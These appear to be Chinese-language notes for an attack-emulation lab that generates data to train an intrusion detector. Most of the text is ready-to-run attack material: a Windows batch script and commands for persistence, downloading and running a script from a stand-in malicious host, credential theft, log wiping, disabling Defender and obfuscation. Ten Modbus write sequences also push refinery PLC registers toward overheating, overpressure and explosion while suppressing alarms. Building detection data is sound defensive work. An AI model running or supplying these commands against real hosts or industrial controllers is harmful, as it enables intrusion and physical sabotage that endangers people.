---
# System prepended metadata

title: 攻擊腳本

---

## 基本資訊
### 通訊協定弱點
**沒有加密 (Encryption)**
* 資料傳輸是「明文 」的
* 例如：HMI 向 PLC 發送指令「把暫存器 40001 設成 1234」→ 這個封包在網路上就是清清楚楚的 1234
* 攻擊者只要能 sniff 網路，就能讀懂封包內容，甚至複製/竄改

**沒有驗證 (Authentication)**
* 協定不會問「你是誰」「你有權限嗎」。
* 任何能連上 PLC 的人，只要用正確格式封包，就能下指令。
* 舉例：攻擊者可以直接對 PLC 下「寫入暫存器」的命令，不需要帳號密碼。


### 使用nmap掃描開放端口
> 特別針對 Telnet (23 和 2323) 、SSH (22)、 HTTP(S) ( 80, 81, 8080, 443) 
> 其他工控協定如 Modbus、SNMP 、 S7comm

```
nmap -p 502 --script modbus-discover <目標IP>
nmap -p 502 --script modbus-discover.nse <target_IP>
```
* 列出目標 PLC 是否支援 Modbus，以及一些暫存器的資訊


### Modbus 工具
常用工具 : mbtget、modpoll、pymodbus



#### **1. mbtget**

#### **2. modpoll**
```
modpoll -m tcp -t 3 -r 1 -c 5 192.168.1.10
```
• -m tcp → 使用 Modbus TCP
• -t 3 → Input Register 類型
• -r 1 → 起始暫存器位址 = 1
• -c 5 → 讀取 5 筆
• 192.168.1.10 → PLC 的 IP



#### **3. pymodbus**



### 煉油廠分散式 PLC 架構清單
靠 Unit ID → 縮小到某台 PLC
靠 Table → 確定是「感測器」還是「控制」
靠 Address → 精準找到是哪個點位（例如 00001、30001）
> S7comm 沒有像 Modbus 的 Unit ID 這種「一個 IP 多台裝置」慣例；若要 S7 也切 4 台，較乾淨的做法仍是多開實例或用不同 IP/Port。以下配置以 Modbus 為核心。

#### 1. 加熱爐 PLC - Unit ID 1

• 00001 → 燃燒器控制開關（Coil）
• 30001 → 爐膛溫度感測器(Input Register, °C)

#### 2. 常壓蒸餾塔 PLC - Unit ID 2

• 30001 → 壓力感測器(kPa)
• 00001 → 出料泵浦啟停 (Coil)

#### 3. 真空蒸餾塔 PLC - Unit ID 3

• 00001 → 真空系統啟停 (Coil)
• 30001 → 冷凝器出口溫度 (Input Register, °C)

### 攻擊前需要知道的資訊
* Slave ID（Unit ID）：代表是哪一台 PLC
> 用 nmap 的 modbus-discover 腳本 搜
* 功能表 / 資料表（Function Code 類型）：是讀取 Coils、Input Register 還是寫入 Holding Register？
> 01 (Read Coils) → 讀 Coils（1-bit 可讀可寫）
02 (Read Discrete Inputs) → 讀離散輸入（1-bit，只讀）
03 (Read Holding Registers) → 讀 Holding Registers（16-bit，可讀寫）
04 (Read Input Registers) → 讀 Input Registers（16-bit，只讀）
05 (Write Single Coil) → 寫入單一 Coil
06 (Write Single Holding Register) → 寫入單一 Holding Register
15 (Write Multiple Coils) → 寫入多個 Coils

* 具體位址（Address / Register Number）：確切指向哪個子設備（像出料泵、壓力感測器等）
> 找出哪個地址有回應後使用工具（如 Modbus Poll 或 modpoll）試不同 Function Code 與位址組合，直到定位目標設備

### pymodbus
針對指定 Slave （unit ID）依序抓取不同 Function Code 與地址區段的功能，並把所有讀到的資料儲存到本地上下文，適合做整裝 Scan 器或模擬資料蒐集器用途 [Modbus Scraper Example](https://pymodbus-n.readthedocs.io/en/v1.3.2/examples/modbus-scraper.html?utm_source=chatgpt.com)

[工具](https://www.icdt.com.tw/main/index.php?=2018)



## IT ATTACK
### 攻擊鏈一
1. **Initial Access**
使用 USB 插入實現入侵
1. **Execution**
透過 USB 的 AutoRun／BadUSB 行為觸發程式執行
> USB AutoRun : 插入 USB 且開啟磁碟時就可能自動執行惡意程式

> BadUSB : 將普通 USB 設備偽裝成鍵盤、滑鼠或網卡等，一插入就可模擬輸入鍵擊、執行命令
3. **Persistence**
利用 Windows Service 或註冊表機制保持惡意程式重啟

* **註冊表**
將惡意程式的執行路徑加入 Windows 註冊表中的特定「Run」鍵，讓它在使用者登入或開機時自動執行

> 示範指令 : `reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe"`

* **Windows Service**
在系統啟動時自動運行惡意程式，並且以 SYSTEM 權限處理

> 示範指令 : `sc create BadService binPath= "C:\payload\malware.exe" start= auto`
建立名為 BadService 的服務
啟動時自動執行 malware.exe
執行權限為 SYSTEM

4. **Privilege Escalation**
利用 UAC Bypass
本機屬於系統管理員群組、且啟用 Admin Approval Mode的情境下，避開同意/輸入密碼的提示，讓指定程式直接以高權限執行
* 手法一 : Fodhelper Auto-Elevate 繞過


5. **Defense Evasion**
隱藏程序或關閉防毒掃描工具
6. **Credential Access**
使用 Mimikatz 類工具提取密碼
7. **Discovery**
使用 PowerShell、WMI 探索網段與主機
8. **Lateral Movement**
使用 SMB、WMI 或 Pass-the-Hash 等技術進行橫向擴散

### 攻擊鏈二
1. **Initial Access**
檢測公開伺服器漏洞，可以檔案上傳web shell
1. **Execution**
利用漏洞執行 remote payload
1. **Persistence**
建立惡意 PowerShell registry Run key
1. **Privilege Escalation**
採用 Token Stealing 或 Service Manipulation 提權
1. **Defense Evasion**
利用 Rootkit 隱蔽檢測，偽裝成合法系統進程
1. **Credential Access**
使用 lsass Dump 或網路封包攔截取得憑證
1. **Discovery**
使用 Net用戶查詢 AD 結構與信任關係
1. **Lateral Movement**
向其他伺服器傳播，可能使用 PsExec


### 各階段攻擊行為
#### 1.Reconnaissance
* 利用Nmap掃描內網設備與IP範圍
* 其他公開資訊這邊無法紀錄

```
nmap -sP 192.168.1.0/24
nmap -p 80,443,22 192.168.1.0/24
```
#### 2. Initial Access
* 釣魚攻擊(誤點連結)
* Web Server 被上傳惡意檔案
* SQL注入
* 插入USB硬體設備
* VPN 暴力破解這9個
```
# 使用 Hydra 進行 VPN 密碼暴力破解
hydra -l user -P /path/to/passwords.txt vpn.target.com vpn
```
#### 3. Execution
* 利用PowerShell執行下載並執行惡意腳本
* 透過CMD執行系統指令
* 利用 bat批次檔對系統進行批量破壞或設定修改
```
# 使用PowerShell執行下載並執行惡意腳本
Invoke-WebRequest -Uri "http://malicious-site.com/malware.ps1" -OutFile "malware.ps1"
powershell -ExecutionPolicy Bypass -File malware.ps1
```
```
# 使用CMD執行系統指令來控制系統
cmd.exe /C "shutdown /r /f"
```
#### 4. Persistence
* 建立排程任務（Windows Task Scheduler) 設定在系統重啟後自動執行惡意腳本
* windows註冊表修改以開機啟動
```
# cmd設定Windows Task Scheduler使惡意腳本持久執行
schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM
```
```
# cmd修改註冊表使得惡意程式自動啟動
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MaliciousApp" /t REG_SZ /d "C:\path\to\malware.exe" /f
```
#### 5. Privilege Escalation
* 利用公開的本地漏洞工具或弱密碼字典對本地管理員帳戶執行爆破
```
# 使用John the Ripper進行本地管理員密碼爆破
john --wordlist=/path/to/wordlist.txt --format=NT hashes.txt
```
#### 6. Defense Evasion
* 使用PowerShell清除Windows事件日誌以隱藏攻擊痕跡
* 混淆PowerShell指令執行惡意程式，避免傳統簽名偵測
* 關閉防毒軟體或安全服務
```
# powershell 清除事件日誌以隱藏攻擊痕跡
wevtutil cl Security
wevtutil cl Application
```
```
# 混淆PowerShell指令 wevtutil cl Security
$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("d2V2dHV0aWwgY2wgQXBwbGljYXRpb24="))
Invoke-Expression $decoded
```
```
# bash 停止防毒軟體服務
net stop "Windows Defender Antivirus Service"
```


[gpt](https://chatgpt.com/share/68c0c822-5e94-8007-84a0-8844acc6e932)
混淆
#### 7. Credential Access
* 執行模擬Mimikatz，擷取記憶體中使用者密碼
* ARP spoofing攔截內部憑證
```
# 使用Mimikatz擷取記憶體中的密碼
Invoke-Mimikatz -Command "sekurlsa::logonPasswords"
```
```
# 使用ARP spoofing攔截內部網路的憑證
arpspoof -i eth0 -t 192.168.1.1 192.168.1.2
```

#### 8. Discovery
* 執行netstat、arp、ipconfig或Nmap掃描內部網段
* 執行systeminfo、whoami、net user等命令蒐集系統資訊
```
# 掃描內部網段
netstat -an
ipconfig /all
nmap -sP 192.168.1.0/24
```
```
# 收集系統資訊
systeminfo
whoami
net user
```
```
# cmd
whoami /all     & rem 使用者/權杖/群組/權限
query user      & rem 目前登入的交談
klist           & rem Kerberos 票證清單（不含密碼）
cmdkey /list    & rem 已儲存的憑證條目（只列名，不顯示密碼）
```
```
# powershell
whoami /all
klist
cmdkey /list
```
#### 9. Lateral Movement
* 利用RDP、SSH等嘗試遠端連線
```
# 嘗試使用RDP遠端登錄
mstsc /v:192.168.1.10
```
```
# 使用SSH遠端登錄
ssh user@192.168.1.10
```



### 工具
[atomic red team](https://github.com/redcanaryco/atomic-red-team)

### 腳本
```
@echo off
echo === Step 1:  cmd : nmap ===
cmd /c nmap -sP 192.168.1.24
echo.

echo === Step 2:  PowerShell : download file  ===
powershell -Command "Invoke-WebRequest -Uri "https://github.com/BBrain778/MP3_To_Text/blob/main/requirements.txt" -OutFile "malware.ps1""
echo.

echo === Step 3:  PowerShell : execute the download file  ===
:: 底下這個是測試用打開小算盤
powershell -Command "powershell -ExecutionPolicy Bypass -Command Start-Process calc.exe"
echo.

echo === Step 4-1:  cmd : create schedule task ===
cmd /c schtasks /create /tn "Malicious Task" /tr "powershell -ExecutionPolicy Bypass -File malware.ps1" /sc onstart /ru SYSTEM
echo.


echo === Step 4-2:  cmd : Registry add  --> execute automaticaly when turning on ===
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MyMalware /t REG_SZ /d "C:\YourPath\malware.exe"
echo.

echo === Step 4-3:  cmd : create service  --> execute automaticaly when turning on ===
cmd /c sc create BadService binPath= "C:\payload\malware.exe" start= auto
echo.

echo === Step 4-4:  cmd : create Directory  --> execute automaticaly when turning on ===
cmd /c copy malware.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
echo.

echo === Step 5-1:  PowerShell : clear windows logs ===
:: 清空「安全性事件日誌」 powershell -Command "wevtutil cl Security"
:: 底下這個是個測試用的日誌
powershell -Command "wevtutil cl FakeLog"
echo.

echo === Step 5-2:  PowerShell : turn off defender ===
powershell -Command "net stop 'WinDefend'"
echo.


echo === Step 5-3:  PowerShell : Obfuscating PowerShell  wevtutil cl Security  ===
powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('d2V2dHV0aWwgY2wgQXBwbGljYXRpb24=')); Invoke-Expression $decoded"
echo.

echo === Step 5-4:  PowerShell : Obfuscating PowerShell  turn off defender  ===
powershell -Command "$decoded = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('bmV0IHN0b3AgIldpbkRlZmVuZCI=')); Invoke-Expression $decoded"
echo.

echo === Step 6-1:  cmd : discovery information ===
cmd /c systeminfo
echo.

echo === Step 6-2:  cmd : discovery information ===
cmd /c whoami /all & rem 使用者/權杖/群組/權限
echo.

echo === Step 6-3:  cmd : discovery information ===
cmd /c net user
echo.

echo === Step 6-4:  cmd : discovery information ===
cmd /c query user  & rem 目前登入的交談
echo.

echo === Step 6-5:  cmd : discovery information ===
cmd /c klist       & rem Kerberos 票證清單（不含密碼）
echo.

echo === Step 6-6:  cmd : discovery information ===
cmd /c cmdkey /list     & rem 已儲存的憑證條目（只列名，不顯示密碼）
echo.

echo === Step 6-7:  PowerShell : discovery information  ===
powershell -Command "whoami /all"
echo.

echo === Step 6-8:  PowerShell : discovery information  ===
powershell -Command "klist"
echo.

echo === Step 6-9:  PowerShell : discovery information  ===
powershell -Command "cmdkey /list"
echo.

echo === Step 6-10:  cmd : discovery information ===
cmd /c netstat -an
echo.

echo === Step 6-11:  cmd : List C drive folders ===
cmd /c dir C:\ /b /ad
echo.

echo === Step 6-12:  cmd : cmd /c wmic product get name,version ===
cmd /c wmic product get name,version
echo.

echo === Step 6-13:  cmd : User effective group principle ===
cmd /c gpresult /r /scope user
echo.

echo === Step 6-14: list domain  ===
cmd /c nltest /dclist:domain.local
echo.

echo === Step 7-1:  cmd : ssh connect to other machine ===
cmd /c ssh user@192.168.1.10
echo.

@echo off
echo === Step 7-2:  cmd : windows RDP to other machine ===
cmd /c mstsc /v:192.168.1.100:3390
echo.

echo === all finish ===
pause
```







## IT 訓練資料
使用時間序列模型（如LSTM、ARIMA）和關聯規則引擎，分析事件序列是否符合攻擊流程模板

訓練資料格式在用於時間序列分析及多階段攻擊識別時，需同時具備「事件時間序列資訊」和「行為標籤」，方便模型學習行為順序與關聯。以下是具體且實用的資料格式範例，以及欄位說明。



### 訓練資料格式設計

| 欄位名稱           | 欄位說明                                            | 範例數據                      |
|----------------|------------------------------------------------|---------------------------|
| event_id       | 唯一事件識別號                                      | 10001                     |
| timestamp      | 事件發生時間（精確到毫秒）                            | 2025-08-27T23:00:05.123Z |
| source_ip      | 來源IP                                            | 192.168.1.100             |
| dest_ip        | 目標IP                                            | 192.168.1.102             |
| user           | 系統使用者或帳號                                    | admin                     |
| event_type     | 事件類型（例如：process_start、file_access、network_connection） | process_start             |
| event_description | 更詳細的事件描述                                   | PowerShell執行異常指令        |
| event_features | 事件特徵向量欄位（如API呼叫碼、資源類型、權限等）             | [0.3,0.9,0.1,0.0,0.7]      |
| stage_label    | 事件所屬攻擊階段標籤（如initial_access、execution、normal）    | initial_access             |
| attack_label   | 整段序列是否屬於攻擊的二元標籤（0=正常，1=攻擊）             | 1                         |
| sequence_id    | 連續事件序列ID，標示整個攻擊流程或正常流程的事件串                   | seq_initialaccess_usb_0001           |



## OT ATTACK
[資料](https://www.notion.so/256eac1784ec80e391a2e352f134d7ff?source=copy_link)

### 攻擊鏈一 : 乾轉 + 過熱
• 步驟 1：原油槽液位被降低（CrudeOil_Level ↓）
• 步驟 2：原油泵仍持續啟動（CrudeOil_Pump_StartStop = TRUE）
• 步驟 3：導致預熱器溫度開始異常升高（Preheater_Temperature ↑）
→ 結果：泵在無料下空轉、摩擦加熱，可能引發火災或泵損毀。

```
mbtget -w6 500 -a 3 -d 127.0.0.1 -p 40001
mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX0.0
```
> -a 3：指定這是保持寄存器 (Holding Register)
> -a 1：指定這是線圈 (Coil)
> -w6：寫入 REAL 類型的數據
> -w1：寫入單一位元組數據（布林型態，0 或 1）

### 攻擊鏈二 : 過壓爆塔
• 步驟 1：加熱器出口溫度提高（Heater_Temperature ↑）
• 步驟 2：大氣塔液位過高（Atmosphere_Column_Level ↑）
• 步驟 3：大氣塔頂壓力持續升高（Atmosphere_Column_Top_Pressure ↑ )
• 步驟 4：警報被壓制 (High_Pressure_Alarm = FALSE）
→ 結果：壓力無法釋放，可能導致塔頂爆炸。
```
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4
```


### 攻擊鏈三 : 真空失效
• 步驟 1：真空泵被關閉或失靈（Vacuum_Column_Pump_StartStop = FALSE / Vacuum_Pump_Control ↓）
• 步驟 2：真空塔壓力上升（Vacuum_Column_VacuumPressure ↑ → 真空度下降）
• 步驟 3：真空塔溫度升高（Vacuum_Column_Temperature ↑）
→ 結果：分餾失效、設備熱應力增加，甚至塔內物料劣化。

```
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.1
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40073
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40021
```

### 攻擊鏈四 : 液化石油氣
• 步驟 1：液化石油氣液位逐漸上升（LPG_Level ↑）
• 步驟 2：液化石油氣泵被停止（LPG_Pump_StartStop = FALSE）
• 步驟 3：液化石油氣重量持續增加（LPG_Weight ↑）
→ 結果：儲槽壓力積聚 → 可能爆炸。

```
mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40025
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.2
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40027
```

### 攻擊鏈五 : 分餾偏差
• 步驟 1：加熱器功率控制異常（Heater_Power_Control ↑）
• 步驟 2：大氣塔溫度過高（Atmosphere_Column_Temperature ↑）
• 步驟 3：產品槽液位出現不符合質量平衡的變化（如 Gasoline_Level ↑，但 Naphtha_Level ↓ 異常）
→ 結果：分餾品質偏差，產出錯誤比例的成品油，操作員誤判工況。
```
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40063
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40015
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029
```

### 攻擊鏈六 : 加熱器過載
• 步驟 1：Heater_Power_Control → 被惡意調高
• 步驟 2：Heater_Temperature → 上升接近 Temp_HighLimit
• 步驟 3：Heater_Pressure →  上升 ↑
• 步驟 4：High_Pressure_Alarm → 沒響
→  結果：加熱器同時出現高溫與高壓，可能失控爆炸。
```
mbtget -w6 200.0 -a 3 -d 127.0.0.1 -p 40063
mbtget -w6 340.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40013
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX1.4
```

### 攻擊鏈七 : 質量流失 / 液位/重量不符
目的： 利用液位和重量不符，對系統進行操作，造成流程異常
• 步驟 1：石油腦液位過低（Naphtha_Level ↓）
• 步驟 2：石油腦重量增加（Naphtha_Weight ↑）
• 步驟 3：石油腦泵未啟動（Naphtha_Pump_StartStop = FALSE）
→  結果：泵未啟動，儲罐溢出或流動錯誤，造成質量流失或設備過載
```
mbtget -w6 10.0 -a 3 -d 127.0.0.1 -p 40029
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40031
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.3
```

### 攻擊鏈八 : 油品錯誤/過量分餾
目的： 操作液位和溫度不當，導致油品過量分餾。
• 步驟 1：汽油液位設置過高（Gasoline_Level ↑）
• 步驟 2：大氣塔液位上升（Atmosphere_Column_Level ↑）
• 步驟 3：大氣塔頂壓力未調整（Atmosphere_Column_Top_Pressure = 固定或過高）
• 步驟 4：泵未啟動（Gasoline_Pump_StartStop = FALSE）
→  結果：油品過度分餾，造成分餾塔效能下降，甚至設備損壞
```
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40033
mbtget -w6 80.0 -a 3 -d 127.0.0.1 -p 40017
mbtget -w6 120.0 -a 3 -d 127.0.0.1 -p 40019
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.4
```

### 攻擊鏈九 : 逆流處理 / 泵被強制停止
目的： 利用設備狀況進行逆流操作，強制停止泵，造成系統阻塞或污染。
• 步驟 1：煤油泵被強制停止（Kerosene_Pump_StartStop = FALSE）
• 步驟 2：煤油液位設定為過高（Kerosene_Level ↑）
• 步驟 3：煤油重量不匹配（Kerosene_Weight ↑）
→ 結果：油品逆流或泵損壞，造成處理過程中的污染或損失
```
mbtget -w1 0 -a 1 -d 127.0.0.1 -p %QX0.6
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40041
mbtget -w6 50.0 -a 3 -d 127.0.0.1 -p 40043
```

### 攻擊鏈十 : 重油反應堆過熱
目的： 通過控制加熱器溫度、重油液位和重量，達成過熱的效果
• 步驟 1：重油液位設置過高（HeavyOil_Level ↑）
• 步驟 2：加熱器溫度過高（Heater_Temperature ↑）
• 步驟 3：重油泵運行時過載（HeavyOil_Pump_StartStop = TRUE）
→ 結果：重油過度加熱，泵可能過載，可能導致系統過熱或火災
```
mbtget -w6 100.0 -a 3 -d 127.0.0.1 -p 40057
mbtget -w6 150.0 -a 3 -d 127.0.0.1 -p 40011
mbtget -w1 1 -a 1 -d 127.0.0.1 -p %QX1.2
```

### 攻擊
```
mbtget -d -r3 -a 40001 -n 37 -f -u 1 -p 5020 100.124.205.73
```


## 提問
1.攻擊順序都一定是依照1-8嗎?


| 項目             | 具體調整作法                                          | 原因與說明                                                 |
|----------------|--------------------------------------------------|------------------------------------------------------------|
| 1. 支持非線性流程    | 訓練資料允許不完全或跳階段序列標註，如[1 → 3 → 5 → 8]、[2 → 4 → 6]等多樣順序 | 攻擊多樣化，固定流程假設限制模型泛化能力，必須讓模型學習非完整序列    |
| 2. 多重路徑學習    | 利用圖結構或序列模型加強不同攻擊路徑學習，非單純線性LSTM，可用Graph Neural Network (GNN)等 | 攻擊流程相當於有向圖，多路徑攻擊需多路徑識別能力                    |
| 3. 分段或子序列偵測  | 模型可偵測任意有意義子序列，針對局部階段行為給出中間判斷和信心分數        | 提早偵測攻擊跡象，不依賴完整序列，提高防禦反應時間                      |
| 4. 標註多標籤且多順序 | 訓練數據中增加多樣化序列組合標籤，並用多標籤分類方式，不強制序列完整性      | 幫助模型識別不完整但惡意的行為模式，強化泛化能力                        |
| 5. 加權序列階段重要度  | 透過注意力機制（attention）對不同階段賦予不同重要度，模型自動學習不同階段影響力  | 某些階段必須出現（關鍵節點），某些可跳過，模型動態分配判斷權重             |
| 6. 搭配規則引擎強化判斷 | 設計彈性的規則引擎配合模型輸出，確保可識別各種攻擊流程及關鍵事件組合            | 規則引擎可補足模型短板，提高整體系統的靈活性與偵測覆蓋面                   |
| 7. 模型設計使用序列分段學習 | 採用更靈活的序列模型，如Transformer Encoder，支持非連續事件及跳躍序列模式        | 增加模型對序列異常跳躍的適應力，允許大範圍時間間隔和跳過事件的識別           |
| 8. 弱監督或半監督學習   | 若無法完全標註，使用弱監督或半監督策略，挖掘潛在變異攻擊行為，提高模型泛化          | 避免硬性標籤限制，增強對未知或變異攻擊行為的識別能力                       |



## wazuh agent
1.從官方下載最新 MSI [安裝檔](https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html) 

2.把檔案放到固定路徑，例如：
```
C:\Temp\wazuh-agent-4.12.0-1.msi
```

3.執行安裝
在「系統管理員 CMD」裡輸入：
```
msiexec /i "C:\Temp\wazuh-agent-4.12.0-1.msi" /qn WAZUH_MANAGER="192.168.6.232" /l*v C:\wazuh_install.log
```
安裝成功後會在：`C:\Program Files (x86)\ossec-agent\`

4.啟動服務
```
net start Wazuh
```
可以查狀態：
```
sc query WazuhSvc
```
停止服務
```
net stop Wazuh
```